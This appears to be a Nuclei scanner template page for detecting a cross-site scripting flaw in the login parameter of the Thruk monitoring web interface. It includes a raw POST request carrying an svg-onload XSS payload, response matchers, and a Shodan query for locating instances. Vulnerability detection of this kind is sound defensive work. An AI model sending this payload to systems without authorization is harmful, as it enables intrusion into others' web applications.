Thruk Monitoring Webinterface - Cross-Site Scripting

ID: thruk-xss

Severity: high

Author: pikpikcu,ritikchaddha

Tags: thruk,xss

Description

Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.

YAML Source

id: thruk-xss

info:
  name: Thruk Monitoring Webinterface - Cross-Site Scripting
  author: pikpikcu,ritikchaddha
  severity: high
  description: |
    Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.
  reference:
    - https://www.thruk.org/download.html
    - https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:thruk:thruk:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Thruk"
    product: thruk
    vendor: thruk
  tags: thruk,xss

http:
  - raw:
      - |
        POST /thruk/cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg/onload=alert(document.domain)>\"@gmail.com') called at"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
# digest: 490a00463044022020480387756450ea940fc64d6f5e93fec7b757cbceaa12d0d648ae34ccd816ee02203374ec4bae1d8caa78932c248e4d0c2ec395f1f5c65f686a8ace5c2ad89d798b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/thruk-xss.yaml"

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